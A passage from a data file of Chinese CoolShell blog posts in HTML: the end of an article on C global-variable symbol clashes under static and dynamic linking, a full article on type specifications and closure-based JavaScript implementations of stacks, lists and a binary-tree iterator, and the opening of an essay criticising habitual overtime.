foo.c\n\nclean:\n\trm -f *.o test\n</pre>\n<p>运行情况如下：</p>\n<pre class=\"EnlighterJSRAW\">\nfoo:\t(&amp;b)=0x080ca008\n\tsizeof(b)=8\n\tb.a=2\n\tb.b=4\n\tmain:0x08048250\nparent:\t(&amp;b)=0x080ca008\n\t(&amp;c)=0x080cc084\n\tsizeof(b)=4\n\tb=2\n\tc=0\n\twait child...\nchild:\tsleep(1)\n\t(&amp;b):0x080ca008\n\t(&amp;c)=0x080cc084\n\tsizeof(b)=4\n\tset b=1\n\tc=0\nfoo:\t(&amp;b)=0x080ca008\n\tsizeof(b)=8\n\tb.a=1\n\tb.b=4\n\tmain:0x08048250\nparent:\tchild over\n\t(&amp;b)=0x080ca008\n\t(&amp;c)=0x080cc084\n\tsizeof(b)=4\n\tb=2\n\tc=0\n</pre>\n<p>从这个例子看不出有啥差别，只不过使用<strong>静态链接</strong>后，全局变量加载的地址有所改变，b和c的地址之间似乎相隔更远了些。不过这次编译器倒是给出了变量b的sizeof决议警告。</p>\n<p>到此为止，有些人可能会对上面的例子嗤之以鼻，觉得这不过是列举了C语言的某些特性而已，算不上黑。有些人认为既然如此，对于一切全局变量要么用static限死，要么定义同时初始化，杜绝弱符号，以便在编译时报错检测出来。只要小心地使用，C语言还是很完美的嘛~对于抱这样想法的人，我只想说，请你在夜深人静的时候竖起耳朵仔细聆听，你很可能听到Dennis Richie在九泉之下邪恶的笑声——不，与其说是嘲笑，不如说是诅咒……</p>\n<h4>第四个例子</h4>\n<pre class=\"EnlighterJSRAW\">/* foo.c */\n#include &lt;stdio.h&gt;\n\nconst struct {\n    int a;\n    int b;\n} b = { 3, 3 };\n\nint main();\n\nvoid foo()\n{\n    b.a = 4;\n    b.b = 4;\n    printf(\"foo:\\t(&amp;b)=0x%08x\\n\\tsizeof(b)=%d\\n\n        \\tb.a=%d\\n\\tb.b=%d\\n\\tmain:0x%08x\\n\",\n        &amp;b, sizeof b, b.a, b.b, main);\n}\n\n/* t1.c */\n#include &lt;stdio.h&gt;\n\nint b = 1;\nint c = 1;\n\nint main()\n{\n    int count = 5;\n    while (count-- &gt; 0) {\n        t2();\n        foo();\n        printf(\"t1:\\t(&amp;b)=0x%08x\\n\\t(&amp;c)=0x%08x\\n\n            \\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\",\n            &amp;b, &amp;c, sizeof b, b, c);\n        sleep(1);\n    }\n    return 0;\n}\n\n/* t2.c */\n#include &lt;stdio.h&gt;\n\nint b;\nint c;\n\nint t2()\n{\n    printf(\"t2:\\t(&amp;b)=0x%08x\\n\\t(&amp;c)=0x%08x\\n\n        \\tsizeof(b)=%d\\n\\tb=%d\\n\\tc=%d\\n\",\n        &amp;b, &amp;c, sizeof b, b, c);\n    return 0;\n}</pre>\n<p>Makefile脚本：</p>\n<pre class=\"EnlighterJSRAW\">export LD_LIBRARY_PATH:=.\n\nall: test\n\t./test\n\ntest: t1.o t2.o\n\tgcc -shared -fPIC -o libfoo.so foo.c\n\tgcc -o test t1.o t2.o -L. -lfoo\n\nt1.o: t1.c\nt2.o: t2.c\n\n.PHONY:clean\nclean:\n\trm -f *.o *.so test*\n</pre>\n<p>执行结果：</p>\n<pre class=\"EnlighterJSRAW\">\n./test\nt2:\t(&amp;b)=0x0804a01c\n\t(&amp;c)=0x0804a020\n\tsizeof(b)=4\n\tb=1\n\tc=1\nfoo:\t(&amp;b)=0x0804a01c\n\tsizeof(b)=8\n\tb.a=4\n\tb.b=4\n\tmain:0x08048564\nt1:\t(&amp;b)=0x0804a01c\n\t(&amp;c)=0x0804a020\n\tsizeof(b)=4\n\tb=4\n\tc=4\nt2:\t(&amp;b)=0x0804a01c\n\t(&amp;c)=0x0804a020\n\tsizeof(b)=4\n\tb=4\n\tc=4\nfoo:\t(&amp;b)=0x0804a01c\n\tsizeof(b)=8\n\tb.a=4\n\tb.b=4\n\tmain:0x08048564\nt1:\t(&amp;b)=0x0804a01c\n\t(&amp;c)=0x0804a020\n\tsizeof(b)=4\n\tb=4\n\tc=4\n\t...</pre>\n<p>其实前面几个例子只是开胃小菜而已，真正的大坑终于出现了！而且这次编译器既没报错也没警告，但我们确实眼睁睁地看到作为main()中强符号的b被改写了，而且一旁的c也“躺枪”了。眼尖的读者发现，这次foo.c是作为动态链接库运行时加载的，当t1第一次调用t2时，libfoo.so还未加载，一旦调用了foo函数，b立马中弹，而且<strong>c的地址居然还相邻着b，这使得c一同中弹了。</strong>不过笔者有些无法解释这种行为的原因，有种说法是强符号的全局变量在数据段中是连续分布的（相应地弱符号暂存在.bss段或者符号表里），或许可以上报GNU的编译器开发小组。</p>\n<p>另外笔者尝试过将t1.c中的b和c定义前面加上<strong>const限定词</strong>，编译器仍然默认通过，但程序在main()中第一次调用foo()时触发了Segment fault异常导致奔溃，在foo.c里使用指针改写它也一样。<strong>推断这是GCC对const常量所在地址启用了类似操作系统写保护机制，但我无法确定早期版本的GCC是否会让这个const常量被改写而程序不会奔溃。</strong></p>\n<p>至于<strong>volatile关键词</strong>之于全局变量，自测似乎没有影响。</p>\n<p>怎么样？看了最后一个例子是否有点“不明觉厉”呢？C语言在你心目中是否还是当初那个“纯洁”、“干净”、“行为一致”的姑娘呢？也许趁着你不注意的时候她会偷偷给你戴顶绿帽，这一切都是通过全局变量，特别在动态链接的环境下，就算全部定义成强符号仍然无法为编译器所察觉。而一些IT界“恐怖分子”也经常<strong>将恶意代码包装成全局变量注入到root权限下存在漏洞的操作序列中，</strong>就像著名的栈溢出攻击那样。某一天当你傻傻地看着一个程序出现未定义的行为却无法定位原因的时候，请不要忘记Richie大爷那来自九泉之下最深沉的“问候”~</p>\n<p>或许有些人会偷换概念，把这一切归咎于编译器和链接器身上，认为这同语言无关，但我要提醒你，正是编译/链接器的行为支撑了整个语言的语法和语义。你可以反过来思考一下为何C的胞弟C++推出<strong>“命名空间(namespace)”</strong>的概念，或者你可以使用其它高级语言，对于重定义的全局变量是否能通过编译这一关。</p>\n<p>所以请时刻谨记，<span style=\"color: #ff0000;\"><strong>C是一门很恐怖的语言！</strong></span></p>\n<p>P.S.题外话写在最后。我无意挑起语言之争，只是就事论事地去<strong>“黑(hack)</strong><strong>”</strong>一门语言而已，而且要黑就要黑得有理有力有层次，还要带点娱乐精神。其实黑一门语言并非什么尖端复杂的技术，个人觉得起码要做到两点：</p>\n<ul>\n<li><strong>亲自动手写测试程序。</strong>动手写测试程序是开发人员必备的基础技能，只有现成的代码才能让人心服口服，那些只会停留在口头上的争论只能算作cheap hack。</li>\n</ul>\n<ul>\n<li><strong>测试程序不能依赖于不成熟的代码。</strong>软件开发99%以上的bug都是基于不合格(substandard)开发人员导致，这并不能怪罪于语言以及编译器本身。使用诸如#define TRUE FALSE或者#define NULL 1之类的trick来黑C语言只能证明此人很有娱乐精神而不是真正的”hack value”，拿老北京梨园行当里的一句话——“那是下三滥的玩意儿”。</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10115.html\">C语言全局变量那些事儿</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-7-22 类型的本质和函数式实现.html",
    "content": "<html><body><p><strong>（感谢 </strong><a href=\"http://weibo.com/weidagang\" target=\"_blank\">@文艺复兴记</a><strong>（todd） 投递此文）</strong></p>\n<p>在上一篇文章<a href=\"https://coolshell.cn/articles/9886.html\">《二叉树迭代器算法》</a>中，我介绍了一种基于栈的二叉树迭代器实现。程序设计语言和Haskell大牛<a href=\"http://weibo.com/u/1684815495\">@九瓜</a> 在看过之后评论到：</p>\n<blockquote><p>这里用了 stack 来做，有点偷懒，所以错失了一个抽象思考机会。如果我们能够理解二叉树到线性表的转换过程，完全可以把 Iterator 当作抽象的线性表来看，只要定义了关于 Iterator 的 empty, singleton, 还有 append 操作，实现二叉树的 Iterator 就变得非常直观。</p></blockquote>\n<p>“错失了一个抽象思考机会”是什么意思呢？我理解九瓜的意思是基于栈的实现虽然是正确的，但它缺乏对于迭代器类型本质的理解，不具有通用性。如果能对迭代器进行合适地抽象就可以像二叉树递归遍历一样自然地得出二叉树迭代器，甚至其他更复杂的数据结构，只要我们能写出它的遍历算法，迭代器算法都可以自然推出。</p>\n<h4>类型的本质</h4>\n<p>九瓜提到了通过empty, singleton和append操作对Iterator进行抽象，我本来打算直接根据这个思路介绍函数式的二叉树迭代器实现，但是考虑到其实首要的问题在于理解类型的本质，而并不是所有人都具备这个基础，不如先普及一下类型基础再进入具体实现。那么下面我们就先来认识一下类型到底是什么？我们先以来看看表示元素对的Pair类型，可能有人一提到Pair类型马上就会在脑海中浮现出下面的结构：</p>\n<p><span id=\"more-10169\"></span></p>\n<pre class=\"EnlighterJSRAW\">\nstruct Pair {\n    int left;\n    int right;\n}\n</pre>\n<p>其实，这种理解是非本质的，Pair完全可以用2个元素的数组来表示，第一个元素表示left，第二个元素表示right：</p>\n<pre class=\"EnlighterJSRAW\">\nstruct Pair {\n    int elements[2];\n}\n</pre>\n<p>上面的两种不同表示是类型的不同实现，而<strong>类型的本质是由操作(Operation)和操作间的关系或不变式(Invariant)所定义的</strong>，我们称之为类型规范(Type Specification)。比如，Pair类型是这样定义的：</p>\n<pre class=\"EnlighterJSRAW\">\nType Pair:\n    Operations:\n        Pair make_pair(int x, int y)\n        int get_left(Pair pair)\n        int get_right(Pair pair)\n    Invariants:\n        get_left(make_pair(x, y)) == x  //对x, y构造的Pair取左元素等于x\n        get_right(make_pair(x, y)) == y  //对x, y构造的Pair取右元素等于y\n</pre>\n<p>也就是说只要是满足Pair类型规范，即定义了make_pair，get_left, get_right这3种操作，并且这些操作满足上面两个不变式，那么它这就是Pair类型。我们再来看看稍微复杂一点的Stack类型：</p>\n<pre class=\"EnlighterJSRAW\">\nType Stack:\n    Operations:\n        Stack make_stack()  //构造空栈\n        Stack push(Stack stack, int x)  //将元素x压栈，返回新栈\n        int top(stack)  //获取栈顶元素\n        Stack pop(Stack stack)  //将栈顶元素弹栈，返回新栈\n    Invariants:\n        top(push(stack, x)) == x  //栈顶元素为最后一次压栈值\n        pop(push(stack, x)) == stack  //对stack压栈后再弹栈等于原来的stack\n</pre>\n<p>Stack类型规范简言之就是FILO（先入后出），如果要形式化就是上面的不变式。为了加深理解，我们现在切换到测试视角来看一看，如果请你来编写一个Stack类的单元测试用例，你应该怎么写呢？许多朋友都不清楚单元测试到底测什么？怎么测？我见过不少人用一个测试用例单独对push做测试，用另一个测试用例对pop单独做测试，其主要原因就在于缺乏对类型本质的理解。其实，只要理解了类型的本质我们就知道孤立地看push或pop是没有任何意义的，它们的意义是在FILO关系下相互解释的，所以测试当然是基于类型规范来测试FILO不变式！这种基于类型规范的测试是一种黑盒测试，与类型的内部实现细节无关，只要单元测试覆盖了类型所定义的所有操作和不变式，那么不管内部怎么实现或优化，测试用例都不需要调整。反之，如果深入到了类型的内部实现做白盒测试，那这样的测试用例实际上就不再是反映其类型规范了，它会随着实现细节的调整而失效。</p>\n<p>更深一层来看，不仅是在Pair，Stack这样的微观层面，在一个系统的宏观层面同样可以采用类型视角，即考察系统定义了哪些操作？这些操作之间有什么样的关系或不变式？比如，你如何从类型的角度来看待MySQL这样一套数据库系统？MySQL系统定义了哪些操作？这些操作之间必须满足怎样的关系和不变式？不仅如此，类型视角除了可以应用于计算机系统，甚至还可以应用于生活中的事物，比如，你到超市购物可以寄存自己的包，在寄包的时候会获得一张密码条，取包时可以通过密码条打开箱子。你能从超市寄包这个例子中看出类型来吗？如果你看出来了，说明你对类型的理解真正融会贯通了！</p>\n<h4>类型的函数式实现</h4>\n<p>上面我们介绍了类型的本质在于操作和操作间的关系，下面我们要关注的是类型的实现。在上面的例子中，Pair的内部结构到底是什么，是一个left和一个right成员？还是一个两元素的数组？没有讲，也没关系，就好像Windows的Handle和Linux的FileDescriptor一样，它们都是一个标识，你并不需要关心它的值本身，你只需要用几个相关的函数创建和操作它就行了（上面超市寄包例子中的密码条和Windows中的Handle是什么关系，你看出来了吗？你需要理解密码条的内容吗？）。换句话说，只要满足类型规范，具体实现是可变的，使用者<strong>只依赖于类型规范而不依赖于其具体实现</strong>。这在面向对象语言中意味着接口保持不变而具体实现可以变化（这里把public方法视为一种广义的接口）。</p>\n<p>下面，我们还会看到的是不仅类型的内部实现可以变化，而且可以根本没有什么所谓的内部实现。这是什么意思呢？让我们来思考一下，是不是Pair内部一定要有什么东西来保存构造函数传入的left和right？我们能跳出这个定势吗？在函数式编程中，我们能做到：</p>\n<p>[javascript]<br/>\n//Javascript<br/>\nfunction make_pair(x, y) {<br/>\n    // 返回一个支持get_left和get_right操作的闭包(Closure)<br/>\n    return {<br/>\n        get_left : function() { return x },<br/>\n        get_right : function() { return y }<br/>\n    }<br/>\n}<br/>\nfunction get_left(pair) {<br/>\n    return pair.get_left();<br/>\n}<br/>\nfunction get_right(pair) {<br/>\n    return pair.get_right();<br/>\n}<br/>\n// Test case<br/>\nconsole.log(get_left(make_pair(1, 2))) //1<br/>\nconsole.log(get_right(make_pair(1, 2))) //2<br/>\n[/javascript]</p>\n<p>上面的关键代码在于make_pair的内部返回的不是一种具体的数据结构，而是一个支持get_left和get_right操作的闭包(Closure)，将来可以通过get_left和get_right来提取x, y。这种基于闭包的实现和我们通常采用的基于数据结构的实现的本质区别在哪里呢？不难发现，<strong>基于闭包的实现和类型规范是直接对应的</strong>，它并没有引入类型规范之外的东西，而基于数据结构的实现则隐藏了实现的细节。换句话说，如果要验证实现代码的正确性，对于前者只需要比对着类型规范，对于后者我们可能需要去仔细理解推敲其所采用的数据结构。对于Pair这样简单的结构二者差别不大，甚至基于数据结构的实现更简单，但是对于复杂的类型就容易体现出闭包实现的优势了。为了加深理解，我们再来看一个Stack的函数式实现：</p>\n<p>[javascript]<br/>\n//Javascript<br/>\nfunction make_stack() {<br/>\n    return null<br/>\n}<br/>\nfunction push(stack, x) {<br/>\n    return {<br/>\n        top : function() { return x },<br/>\n        pop : function() { return stack }<br/>\n    }<br/>\n}<br/>\nfunction top(stack) {<br/>\n    return stack.top()<br/>\n}<br/>\nfunction pop(stack) {<br/>\n    return stack.pop()<br/>\n}<br/>\n// Test case<br/>\nvar stack = make_stack()<br/>\nstack = push(stack, 1)<br/>\nstack = push(stack, 2)<br/>\nstack = push(stack, 3)<br/>\nconsole.log(top(stack)) //3<br/>\nstack = pop(stack)<br/>\nconsole.log(top(stack)) //2<br/>\nstack = push(stack, 4)<br/>\nconsole.log(top(stack)) //4<br/>\n[/javascript]</p>\n<p>上面的所有函数都是采用了无副作用的纯函数式设计，可能习惯面向对象编程的朋友不是很习惯，不过这不影响我们对类型的讨论，而且它也很容易改造成面向对象的风格，感兴趣的朋友可以自己尝试对上面的代码进行简单的包装让它看起来像面向对象的样子。</p>\n<h4>函数式二叉树迭代器</h4>\n<p>上面我们介绍了类型的本质和函数式实现，下面我们再来看看Iterator类型又该如何定义和实现呢？ 思路当然还是从操作入手，考虑Iterator类型对应了哪些操作，它们的关系是什么？上面九瓜提示了Iterator类型可以抽象为线性表List类型，或者说Iterator本质上是一个List。为什么呢？其实，只要跳出“如何表示数据结构”的思维，从类型角度思考就很容易理解，因为Iterator和List都定义了相同的操作，Iterator的使用者完全不关心也不知道它背后到底是链表还是二叉树，你对Iterator的操作和一个List的操作完全一样。正是这个原因，STL等范型库才能通过Iterator将算法和数据结构解耦。</p>\n<p>怎么定义一个List类型呢？九瓜提到的empty(), singleton()和append()实际上就是和List打交道最多的Lisp语言的经典定义方式。Lisp是基于s-expression的，s-expression既可以视为线性表又可以视为树，本质上Lisp为List类型了构造、取首元素和取剩余元素等几种操作：</p>\n<pre class=\"EnlighterJSRAW\">\nType List:\n    Operations:\n        List empty()  //构造空表，通常由()这个文字量表示\n        List singleton(Element e)  //构造包含一个元素的表，通常由(e)这个文字量表示\n        Element first(List list)   //取list的第一个元素，通常又叫car操作\n        List rest(List list)  //取list除第一个元素外的剩余部分，通常又叫cdr操作\n        List append(List list1, List list2) //连接两个表\n    Invariants:\n        append(empty(), list) == list  //空表和表list连接后等于表list\n        append(list, empty()) == list  //空表和表list连接后等于表list\n        first(singleton(e)) == e  //对singleton(e)取首元素等于e\n        rest(singleton(e)) == empty()  //对singleton(e)取首元素外的剩余部分的结果为空表\n        append(first(list), rest(list)) == list  //对list的首尾两部分进行连接等于list本身\n        if list1 is not empty then\n            first(append(list1, list2)) == first(list1)  //对非空表list1于表list2的连接取首元素等于对非空表list1取首元素\n        if list1 is not empty then\n            rest(append(list1, list2)) == append(rest(list1), list2)  //对非空表list1于表list2的连接取首元素等于对非空表list1取首元素\n</pre>\n<p>有了上面的分析，我们相应地写出下面的List实现：</p>\n<p>[javascript]<br/>\n//Javascript<br/>\nfunction empty() {<br/>\n    return null<br/>\n}<br/>\nfunction singleton(e) {<br/>\n    return {<br/>\n        first: function() { return e },<br/>\n        rest: function() { return null }<br/>\n    }<br/>\n}<br/>\nfunction first(list) {<br/>\n    return list.first()<br/>\n}<br/>\nfunction rest(list) {<br/>\n    return list.rest()<br/>\n}<br/>\nfunction append(list1, list2) {<br/>\n    if (null == list1) return list2<br/>\n    if (null == list2) return list1</p>\n<p>    return {<br/>\n        first : function() { return first(list1) },<br/>\n        rest : function() { return append(rest(list1), list2) }<br/>\n    }<br/>\n}<br/>\n[/javascript]</p>\n<p>在此基础上可以进一步实现二叉树迭代器：</p>\n<p>[javascript]<br/>\nfunction make_binary_tree_iterator(node) {<br/>\n    return {<br/>\n        first : function() {<br/>\n            return null != node.left ? first(make_binary_tree_iterator(node.left)) : node<br/>\n        },<br/>\n        rest : function() {<br/>\n            var left_it = (null == node.left ? null : make_binary_tree_iterator(node.left))<br/>\n            var root_it = singleton(node)<br/>\n            var right_it = (null == node.right ? null : make_binary_tree_iterator(node.right))<br/>\n            var it = append(append(left_it, root_it), right_it)<br/>\n            return rest(it)<br/>\n        }<br/>\n    }<br/>\n}<br/>\n//======== Test case ========<br/>\nvar tree = {<br/>\n    value : 1,<br/>\n        left : {<br/>\n            value : 2,<br/>\n            left : { value : 4, left : null, right : null },<br/>\n            right : null<br/>\n        },<br/>\n        right : {<br/>\n            value : 3,<br/>\n            left : null,<br/>\n            right : { value : 7, left : null, right : null }<br/>\n    }<br/>\n}<br/>\nfor (var it = make_binary_tree_iterator(tree); null != it; it = rest(it)) {<br/>\n    console.log(first(it).value)<br/>\n}<br/>\n[/javascript]</p>\n<p>上面的make_binary_tree_iterator在List类型的基础上按照二叉树遍历过程构造了一个List。不知道你是否注意到了，为什么它不像下面这个例子一样直接返回一个List，而要构造一个闭包呢？</p>\n<p>[javascript]<br/>\nfunction make_binary_tree_iterator(node) {<br/>\n    var left_it = (null == node.left ? null : make_binary_tree_iterator(node.left))<br/>\n    var root_it = singleton(node)<br/>\n    var right_it = (null == node.right ? null : make_binary_tree_iterator(node.right))<br/>\n    return append(append(left_it, root_it), right_it)<br/>\n}<br/>\n[/javascript]</p>\n<p>这里关键的区别在于闭包是惰性求值的，也就是说只有当真正开始迭代遍历的时候才会逐渐对各个函数进行求值，而上面的函数递归调用是非惰性的，会从一开始就把所有结点展开成线性表。如果你对这一点还不能很好地理解，可以尝试在各个函数中加log跟踪函数的调用过程。</p>\n<h4>总结</h4>\n<p>本文介绍了类型的本质在于它所定义的操作以及操作之间的关系和不变式。类型的实现关键在于满足类型规范的要求，而具体实现是可以变化的，使用者和测试用例都应该只依赖于类型规范而不依赖于具体实现。函数式的类型实现往往和类型规范是直接对应的，简单通用，但可能有性能问题，而命令式的类型实现往往会引入复杂的内部数据结构，但是其优点是高效。这两种实现并不是完全互斥的，有时候可以将二者相结合达到简单与高效的结合。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-7-24 加班与效率.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright wp-image-10220\" height=\"161\" src=\"../wp-content/uploads/2013/07/Work-Overtime-300x201.jpg\" width=\"240\"/>微博上看到了<a href=\"http://weibo.com/1401880315/A0LFVkB3L\" target=\"_blank\">这么一个贴子</a>，就像以前在《<a href=\"https://coolshell.cn/articles/5901.html\" target=\"_blank\" title=\"腾讯，竞争力 和 用户体验\">腾讯，竞争力 和 用户体验</a>》中批评过腾讯说自己的核心竞争力是员工加班一样，我顺着Winter的回复也批评了一下这个微博——</p>\n<p style=\"padding-left: 30px;\">“<span style=\"color: #808080;\">靠加班超越对手？！劳动密集型么？我要是对手的话，我就来趁机挖人了，直接摁死你……//<a href=\"http://weibo.com/n/%E5%AF%92%E5%86%ACwinter\"><span style=\"color: #808080;\">@寒冬winter</span></a>: 当一个管理者的智慧无法衡量一支团队的产出的时候，他就会把“工时”当做最后的救命稻草，死死抱住——这是他唯一听得懂的东西了</span>。”</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10218\" height=\"120\" src=\"../wp-content/uploads/2013/07/work_overtime.png\" width=\"539\"/></p>\n<p>然后，<a href=\"http://weibo.com/jiach\" title=\"玄了个澄的\">@玄了个澄的</a>在微博里at我说，他在微信里看了<a href=\"http://weibo.com/n/Fenng\">@Fenng</a> 关于加班的言论，希望我评论一下。我看了一下大辉的文章，虽然写得有点散乱，但是我和他的一些观点还是很类似的，我主要在这里加强一下我的看法。</p>\n<h4>关于加班</h4>\n<p><strong>认为加班是公司的核心竞争力，或是超越对手的手段，是一种相当 Ridiculous 的想法。这说明管理者们已经想不到自己公司的核心价值了</strong>。</p>\n<p><span id=\"more-10217\"></span></p>\n<p>是的，这些靠堆功能没有灵魂的产品的价值就只剩下比谁跑得快了。他们愚蠢和思维有限的大脑里已经区分不出来，“跑得快”和“跑得好”的差别了。产品的发展不是短跑，而是长跑，甚至更像是登山，登山比的不是快，而比的是策略，比的是意志，目的是登顶。并不是谁一开始爬得快谁就能最先登顶的，你往往被超越的时候都在后半程。对于一些危险的雪山来说，登顶的人通常都是要做好非常很充分的准备，并且在登山的过程中学会如何保留体力，学会如何步步为营的，从来不强行登顶。</p>\n<p>在<a href=\"https://coolshell.cn/articles/9156.html\" title=\"《Rework》摘录及感想\">《Rework》摘录及感想</a> 中提到过两点</p>\n<ul>\n<li><strong>条件受限是好事，因为条件受限可以让你小材大用，让你没有办法再用蛮力来完成工作，让你必需去思考使用知识密集型的解决方案来更聪明的解决问题</strong>。</li>\n</ul>\n<ul>\n<li><strong>工作狂往往不得要领。他们花大把大把的时间去解决问题，他们以为能靠蛮力来弥补思维上的惰性，其结果就是折腾出一堆粗糙无用的解决方案</strong>。</li>\n</ul>\n<p>就像人肉手动的织布机一样，当面对大量订单的时候，一个简单粗暴的方法就是拼命地加人和拼命地工作来换取更大的生产力。只有你在人手不够或是人力成本太高的情况下，你才会去想是不是可以优化一下工具，制造一个更有效率更有生产力的工具。</p>\n<p><strong>在中国，劳动力的成本不高，而管理者们的智力和能力有限，所以，在这个环境下，尤其在KPI和数字的重压下，管理者们是非常非常容易想到需要靠加人或是加班来提高产能的</strong>。所以，他们放弃了知识密集型的创新，而采用了劳动密集型的简单粗暴的方式，长期下来，导致了自己再也不会思考，导致了只会使用人肉解决问题。</p>\n<p>于是，当全自动化的织布机出现的时候，这种劳动密集型的公司分分钟就成为了历史。这样的例子太多太多了，看看历史就知道了。</p>\n<p>当然，有时候，我们需要冲刺还是要适当偶尔加班的，但这绝对不应该是常态和长期的，不然，这必然是一种饮鸩止渴的行为。</p>\n<p>另外，我还要多说几种情况：</p>\n<p style=\"padding-left: 30px;\">1）如果你的员工就像在《<a href=\"https://coolshell.cn/articles/4951.html\" target=\"_blank\" title=\"软件公司的两种管理方式\">软件公司的两种管理</a>》中所说的，像Widget 